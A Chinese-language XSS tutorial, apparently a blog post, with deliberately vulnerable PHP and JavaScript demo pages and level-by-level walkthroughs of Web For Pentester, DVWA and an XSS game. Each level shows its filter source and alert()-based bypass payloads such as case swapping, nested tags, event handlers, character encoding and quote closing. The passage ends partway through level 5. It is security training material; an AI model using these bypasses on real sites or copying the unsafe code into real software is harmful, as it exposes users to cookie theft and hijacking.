XSS 接触到现在也有不少时间了,但是以前却很少结合源码去分析为什么可以绕过,导致对 XSS 的理解很难更上一层楼,再加上网上相关的文章也零零散散,所以就有了系统的写一篇 XSS 文章的想法,本文会结合一些源码去分析 XSS 漏洞产生的原因,同时也希望本文可以帮助到后面新入门的朋友。

前言

这部分主要是防止自动化爬虫转载文章,在当今原创很辛苦,抄袭的成本却很低,维权的成本又很高,虽然国内目前的抄袭风气很严重,但是我相信尊重原创,保护原创从现在做起从大家做起:

XSS 简介

XSS 攻击指黑客通过特殊的手段往网页中插入了恶意的 JavaScript 脚本,从而在用户浏览网页时,对用户浏览器发起 Cookie 资料窃取、会话劫持、钓鱼欺骗等各攻击。

XSS 跨站脚本攻击本身对 Web 服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意 URL,当受害者在 Web 浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行。

XSS 跨站脚本攻击漏洞也是OWASP Top 10中经常出现的对象,造成XSS漏洞普遍流行的原因如下:

  1. Web 浏览器本身的设计不安全,无法判断 JS 代码是否是恶意的
  2. 输入与输出的 Web 应用程序基本交互防护不够
  3. 程序员缺乏安全意识,缺少对 XSS 漏洞的认知
  4. XSS 触发简单,完全防御起来相当困难

XSS 跨站脚本实例

下面的 HTML 代码就演示了一个最基本的 XSS 弹窗:

<html>
<head>XSS</head>
<body>
<script>alert("XSS")</script>
</body>
</html>

直接在 HTML 页面通过<script>标签来执行了 JavaScript 内置的alert()函数,达到弹出消息框弹窗的效果:

XSS 攻击就是将非法的 JavaScript 代码注入到用户浏览的网页上执行,而 Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码本身是否对用户有害。

XSS 的危害

诚然,XSS 可能不如 SQL 注射、文件上传等能够直接得到较高操作权限的漏洞,但是它的运用十分灵活(这使它成为最深受黑客喜爱的攻击技术之一),只要开拓思维,适当结合其他技术一起运用,XSS 的威力还是很大的。可能会给网站和用户带来的危害简单概括如下:

  1. 网络钓鱼
  2. 盗取用户 cookies 信息
  3. 劫持用户浏览器
  4. 强制弹出广告页面、刷流量
  5. 网页挂马
  6. 进行恶意操作,例如任意篡改页面信息
  7. 获取客户端隐私信息
  8. 控制受害者机器向其他网站发起攻击
  9. 结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
  10. 提升用户权限,包括进一步渗透网站
  11. 传播跨站脚本蠕虫等

下图是著名漏洞公告平台乌云关于 XSS 漏洞的报告:

XSS 分类

反射型 XSS(非持久型)

反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。反射型 XSS 只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

假设一个页面把用户输入的参数直接输出到页面上:

<?php
$input = $_GET['param'];
echo "<h1>".$input."</h1>";
?>

用户向param提交的数据会展示到<h1>的标签中展示出来,比如提交:

http://127.0.0.1/test.php?param=Hello XSS

会得到如下结果:

此时查看页面源代码,可以看到:

<h1>Hello XSS</h1>

此时如果提交一个 JavaScript 代码:

http://127.0.0.1/test.php?param=<script>alert(233)</script>

会发现,alert(233)在当前页面执行了:

再查看源代码:

<h1><script>alert(233)</script></h1>

用户输入的 Script 脚本,已经被写入页面中,这个就是一个最经典的反射型 XSS,它的特点是只在用户浏览时触发,而且只执行一次,非持久化,所以称为反射型 XSS。反射型XSS的危害往往不如持久型 XSS,因为恶意代码暴露在URL参数中,并且时刻要求目标用户浏览方可触发,稍微有点安全意识的用户可以轻易看穿该链接是不可信任的。如此一来,反射型 XSS 的攻击成本要比持久型 XSS 高得多,不过随着技术的发展,我们可以将包含漏洞的链接通过短网址缩短或者转换为二维码等形式灵活运用。

存储 XSS (持久型)

存储型 XSS 和反射型 XSS 的差别仅在于:提交的 XSS 代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交 XSS 代码。最典型的例子是留言板 XSS。

为了复现存储型 XSS,这里我们得用到数据库,本地新建一个名字叫做xss的数据库,里面新建一个message表,用来存放用户的留言信息,字段名分别是idusernamemessage

id设为主键,并勾选自动递增 ,也可以参考下面的sql语句来设计表:

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0

DROP TABLE IF EXISTS `message`;
CREATE TABLE `message`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
  `message` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 17 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;

SET FOREIGN_KEY_CHECKS = 1;

目前数据库方面设计完了,开始着手写PHP后端页面,来复现一下存储型 XSS 漏洞:

<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "root"; //数据库用户名
$pwd = "root"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form  method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
    /*直接将留言插入到数据库中*/
    $username=$_POST['username'];
    $message=$_POST['message'];
    if($username and $message)
    {
        $sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
        if ($conn->query($sql) === TRUE) {
            echo "留言成功"."<br>";
        } else {
            echo "Error: " . $sql . "<br>" . $conn->error;
        }
    }else{
        echo "请填写完整信息"."<br>";
    }

    /*查询数据库中的留言信息*/
    $sql = "SELECT username, message FROM message";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
        }
    } else {
        echo "暂无留言";
    }
?>

将以上代码保存为php文件,配置好数据库连接信息,通过http服务去访问,可以得到如下界面:

可以从代码看出,逻辑很简单,用户前端留言,就可以看到自己的留言信息了,代码中没有任何过滤,直接将用户的输入的语句插入到了html网页中,这样就很容易导致存储型XSS漏洞的产生。

当攻击者直接在留言板块插入alert('鸡你太美'),会导致这条恶意的语句直接插入到了数据库中,然后通过网页解析,成功触发了 JS 语句,导致用户浏览这个网页就会一直弹窗,除非从数据库中删除这条语句:

此时查看下网页源码:

<b>用户名:</b>蔡徐坤   <b>留言内容:</b><script>alert('鸡你太美')</script><br>

存储型 XSS 的攻击是最隐蔽的也是危害比较大的,普通用户所看的 URL 为http://127.0.0.1/test.php,从 URL 上看均是正常的,但是当目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有 XSS 代码,就当做正常的HTML与 JS 解析执行,于是就触发了 XSS 攻击。

DOM XSS

通过修改页面的 DOM 节点形成的XSS,称之为 DOM XSS。它和反射型 XSS、存储型XSS的差别在于,DOM XSS 的 XSS 代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。

下面编写一个简单的含有 DOM XSS漏洞的 HTML 代码:

<meta charset="UTF-8">

<script>
    function xss(){
        var str = document.getElementById("src").value;
        document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
    }
</script>

<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>

功能很简单,用户输入框插入图片地址后,页面会将图片插入在 id="demo" 的 div 标签中,从而显示在网页上:

同样,这里也没有对用户的输入进入过滤,当攻击者构造如下语句插入的时候:

' onerror=alert(233)

会直接在img标签中插入onerror事件,该语句表示当图片加载出错的时候,自动触发后面的 alert()函数,来达到弹窗的效果,这就是一个最简单的 DOM 型 XSS 漏洞。

XSS 靶场

本节主要是搭建一些靶场,因为大家都是搞信息安全的,所以靶场搭建的话我这里就不重复造轮子,通过搜索引擎可以找到很多图文并茂的教程,所以本节里面只做概括的作用。

Web For Pentester

官网https://pentesterlab.com/

下载地址https://isos.pentesterlab.com/web_for_pentester_i386.iso

安装方法:通过虚拟机挂载 iso 运行,该靶场环境是封装在debian系统里面的,运行在时候直接以Live方式运行,然后查看下 IP 地址:

然后物理机浏览器直接访问:

http://192.168.108.131/

这样一个Web For Pentester就搭建好了,默认是没有root密码的,可以自己设置一个root密码:

sudo passwd

第 1 关 无任何过滤

源码

<?php
        echo $_GET["name"];
?>

name 变量直接通过GET方式传进去,然后通过 echo 输出。

payload

example1.php?name=<script>alert('XSS')</script>

第2 关 大小写绕过

源码

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/","", $name);
        $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

使用了 preg_replace 函数来过滤<script></script>标签,这里由于正则缺陷,没有考虑到大小写的情况,所以这里可以用大小写转换绕过。

payload

example2.php?name=<Script>alert('XSS')</scripT>

第 3 关 嵌套绕过

源码

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/i","", $name);
        $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

这里在第 2 关的基础上面,正则规则上面使用了/i,表示不区分大小写,利用这个特点可以构造一个嵌套的标签:

<scr<script>ipt>

被检测到<script>后,替换为了空(即删掉)就变成了一个完整的标签:

<script>

payload

example3.php?name=<sc<script>ript>alert('XSS')</</script>script>

第 4 关 其他标签绕过

源码

<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>

对script关键词进行了不区分大小写地过滤,匹配到就直接调用die("error")终止程序运行,因此上述的方法就不再适用,但是还可以通过其他许多标签来触发JS事件。

payload

example4.php?name=<img src=x onerror=alert('XSS')>

第 5 关 编码或者其他方法绕过

源码

<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>

对 alert 关键词进行了不区分大小写地过滤,可以使用其他类似 alert 的方法来弹窗

payload1

example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>

也可以通过String.fromCharCode()编码来绕过,使用 Hackbar 可以很方便地进行编码

alert('XSS')

经过 String.fromCharCode() 编码为:

String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)

payload2

example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

第 6 关 闭合双引号

源码

<script>
        var $a= "<?php  echo $_GET["name"]; ?>";
</script>

通过 GET 方式传入的 name 变量,直接输出在了script标签里面,可以尝试闭合前面的双引号",然后直接调用alert方法来弹窗,末尾再使用双引号"闭合后面的双引号。

payload1

example6.php?name=";alert('XSS');"

也可以尝试通过//直接注释掉后面的双引号",这样就不用考虑闭合了:

payload2

example6.php?name=";alert('XSS');//

第 7 关 闭合单引号

源码

<script>
        var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

和上一题类似,只是这里的最后是通过htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的a变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给a变量赋值的,所以依然可以通过闭合单引号'来弹窗。

payload

example7.php?name=';alert('XSS');'
example7.php?name=';alert('XSS');//

第 8 关 PHP_SELF

源码

<?php
  require_once '../header.php';

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

name 变量通过 form 表单以POST方式传入,然后通过htmlentities函数是实体化后输出来,这次通过 POST方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

用户依然可以控制参数 PHP_SELF ,并且这里没有过滤直接输入到了form标签中,所以这里通过闭合依然可以 XSS。

闭合引号和标签,通过<script>标签来弹窗:

payload1

example8.php/"><script>alert('XSS')</script>//

也可以通过闭合引号,通过事件来触发弹窗:

payload2

example8.php/" onclick=alert('XSS')//

第9关 location.hash

源码

<script>
  document.write(location.hash.substring(1));
</script>

直接通过location.hash传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性,往网页中写入 JS 代码。要了解这个location.hash属性,可以参考W3C的这篇资料:HTML DOM hash 属性

payload

example9.php#<script>alert('XSS')</script>

执行完成后,手动刷新下浏览器,经测试在 Chrome 和 FireFox 浏览器上的尖括号会被自动转码,在IE内核的浏览器上可以正常运行

DVWA

官网http://www.dvwa.co.uk/

下载地址https://github.com/ethicalhack3r/DVWA/archive/master.zip

安装方法:将/config/config.inc.php.dist文件重命名为/config/config.inc.php ,本地新建一个名字叫做dvwa的数据库,根据本地实际环境的信息,修改配置文件信息如下:(填写key这里是可选的操作):

$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = 'root';

$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

我本地使用的是PHPStudy搭建的环境,找到PHP扩展及设置-参数开关设置,勾选

allow_url_fopen
allow_url_include

浏览器访问DVWA的目录来进行安装:

http://127.0.0.1/DVWA/setup.php

点击Create / Reset Databas创建数据库,接着跳转到登录界面。

默认的账户名为:admin,密码为:password

安装成功的界面如上,可以在左侧的菜单栏中发现有发射 XSS、存储 XSS 和 DOM XSS 的一些练习题。

反射 XSS LOW

源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

可以看看到对name变量没有任何的过滤措施,只是单纯的检测了name变量存在并且不为空就直接输出到了网页中。

payload

<script>alert('XSS')</script>

反射 XSS Medium

源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

只是简单的过滤了<script>标签,可以使用其他的标签绕过,这里因为正则匹配的规则问题,检测到敏感字符就将替换为空(即删除),也可以使用嵌套构造和大小写转换来绕过。

使用其他的标签,通过事件来弹窗,这里有很多就不一一列举了:

payload1

<img src=x onerror=alert('XSS')>

因为过滤规则的缺陷,这里可以使用嵌套构造来绕过:

payload2

<s<script>cript>alert('XSS')</script>

因为正则匹配没有不区分大小写,所以这里通过大小写转换也是可以成功绕过的:

payload3

<Script>alert('XSS')</script>

反射 XSS high

源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

?>

这里的正则过滤更加完善了些,不区分大小写,并且使用了通配符去匹配,导致嵌套构造的方法也不能成功,但是还有其他很多标签来达到弹窗的效果:

payload

<img src=x onerror=alert('XSS')>

反射 XSS Impossible

源码

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    $html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

name变量通过htmlspecialchars()函数被 HTML 实体化后输出在了<pre>标签中,目前来说没有什么的姿势可以绕过,如果这个输出在一些标签内的话,还是可以尝试绕过的。

DOM XSS LOW

源码

<div class="vulnerable_code_area">

         <p>Please choose a language:</p>

        <form name="XSS" method="GET">
            <select name="default">
                <script>
                    if (document.location.href.indexOf("default=") >= 0) {
                        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                        document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
                        document.write("<option value='' disabled='disabled'>----</option>");
                    }

                    document.write("<option value='English'>English</option>");
                    document.write("<option value='French'>French</option>");
                    document.write("<option value='Spanish'>Spanish</option>");
                    document.write("<option value='German'>German</option>");
                </script>
            </select>
            <input type="submit" value="Select" />
        </form>
</div>

DOM XSS 是通过修改页面的 DOM 节点形成的 XSS。首先通过选择语言后然后往页面中创建了新的 DOM 节点:

document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");

这里的lang变量通过document.location.href来获取到,并且没有任何过滤就直接 URL 解码后输出在了option标签中,以下 payload 在Firefox Developer Edition 56.0b9版本的浏览器测试成功

payload

?default=English <script>alert('XSS')</script>

DOM XSS Medium

源码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

default变量进行了过滤,通过stripos() 函数查找<script字符串在default变量值中第一次出现的位置(不区分大小写),如果匹配搭配的话手动通过location将URL后面的参数修正为?default=English,同样这里可以通过其他的标签搭配事件来达到弹窗的效果。

闭合</option></select>,然后使用img标签通过事件来弹窗

payload1

?default=English</option></select><img src=x onerror=alert('XSS')>

直接利用input的事件来弹窗

payload2

?default=English<input onclick=alert('XSS') />

DOM XSS high

源码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

使用了白名单模式,如果default的值不为 French、English、German、Spanish 的话就重置 URL 为:?default=English ,这里只是对 default 的变量进行了过滤。

可以使用&连接另一个自定义变量来Bypass

payload1

?default=English&a=</option></select><img src=x onerror=alert('XSS')>
?default=English&a=<input onclick=alert('XSS') />

也可以使用#来 Bypass

payload2

?default=English#</option></select><img src=x onerror=alert('XSS')>
?default=English#<input onclick=alert('XSS') />

DOM XSS Impossible

源码

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
    $decodeURI = "";
}

Impossible 级别直接不对我们的输入参数进行 URL 解码了,这样会导致标签失效,从而无法XSS

存储 XSS LOW

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

payload

Name: sqlsec
Message: <script>alert('XSS')</script>

可以看到我们的 payload 直接插入到了数据库中了:

测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这条记录。

补充

trim

语法

trim(string,charlist)

细节

移除 string 字符两侧的预定义字符。

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符

charlist如果被省略,则移除以下所有字符:

符合 解释
\0 NULL
\t 制表符
\n 换行
\x0B 垂直制表符
\r 回车
空格
stripslashes

语法

stripslashes(string)

细节

去除掉 string 字符的反斜杠\,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。

mysql_real_escape_string

语法

mysql_real_escape_string(string,connection)

细节

转义 SQL 语句中使用的字符串中的特殊字符。

参数 描述
string 必需。规定要转义的字符串。
connection 可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

以上这些函数都只是对数据库进行了防护,却没有考虑到对 XSS 进行过滤,所以依然可以正常的来 XSS

存储 XSS Medium

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

payload1

Name: <img src=x onerror=alert('XSS')>
Message: www.sqlsec.com

可以看到我们的 payload直接插入到了数据库中了:

因为name过滤规则的缺陷,同样使用嵌套构造大小写转换也是可以 Bypass 的:

paylaod2

Name: <Script>alert('XSS')</script>
Message: www.sqlsec.com

Name: <s<script>cript>alert('XSS')</script>
Message: www.sqlsec.com

测试完成的话为了不影响下面题目的测试,这里建议手动从数据库中删除下这些记录。

补充

addslashes

语法

addslashes(string)

细节

返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL
strip_tags

语法

strip_tags(string,allow)

细节

剥去字符串中的 HTML、XML 以及 PHP 的标签。

参数 描述
string 必需。规定要检查的字符串。
allow 可选。规定允许的标签。这些标签不会被删除。
htmlspecialchars

语法

htmlspecialchars(string,flags,character-set,double_encode)

细节

把预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • “(双引号)成为 "
  • ‘ (单引号)成为 '
  • < (小于)成为 <
  • > (大于)成为 >

message 变量几乎把所有的 XSS 都给过滤了,但是name变量只是过滤了<script> 标签而已,我们依然可以在name 参数尝试使用其他的标签配合事件来触发弹窗。

name的 input 输入文本框限制了长度:

<input name="txtName" size="30" maxlength="10" type="text">

审查元素手动将maxlength的值调大一点就可以了。

<input name="txtName" size="50" maxlength="50" type="text">

存储 XSS high

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

message变量依然是没有什么希望,重点分析下name变量,发现仅仅使用了如下规则来过滤,所以依然可以使用其他的标签来 Bypass:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

payload

Name: <img src=x onerror=alert('XSS')>
Message: www.sqlsec.com

存储 XSS Impossible

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

messagename变量都进行了严格的过滤,而且还检测了用户的 token:

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

有效地防止了 CSRF 的攻击

XSS 小游戏

这个和http://test.xss.tv 题目是一样的,忘记从哪里搞到源码的了,看了源码发现最后几道 Flash XSS 失效了,于是删了最后几道Flash XSS 题目,然后把本地图片的引用都换了表情包,目前一共有 1-15 关。现在把这个源码放到了Github上面了:

项目地址https://github.com/sqlsec/xssgame

安装方法:直接解压源码到HTTP服务的目录下,浏览器直接访问即可,无需配置数据库等信息

第 1 关 无任何过滤措施

源码

<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
?>

name 变量通过 GET 方式传入,直接带入到<h2>标签中,没有任何过滤。

payload

/level1.php?name=<script>alert('xss')</script>

第 2 关 闭合双引号

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

keyword 变量通过 GET 方式传入,赋值给$str变量,然后带入到<h2>标签中和<input>标签。 标签经过了htmlspecialchars($str)编码,可以发现input标签没有任何过滤,所以尝试在input 标签中闭合双引号",来触发事件。

payload

" onclick=alert('XSS') //

第3关 闭合单引号

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

keyword 变量通过 GET 方式传入,赋值给$str变量,然后带入到<h2>标签中和inpt标签。 因为<h2>标签经过了htmlspecialchars($str)编码,<input> 标签没有任何过滤,所以尝试在input 标签中闭合单引号' 来触发事件。

payload

' onclick=alert('XSS') //

第 4 关 闭合双引号

源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

在第 2 关的基础上,过滤了尖括号,但是直接在input标签中构造闭合双引号来构造事件来触发并用不到尖括号,所以第 2 关的 payload 依然适用。

payload

" onclick=alert('XSS') //

第 5 关 javascript 伪协议

源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
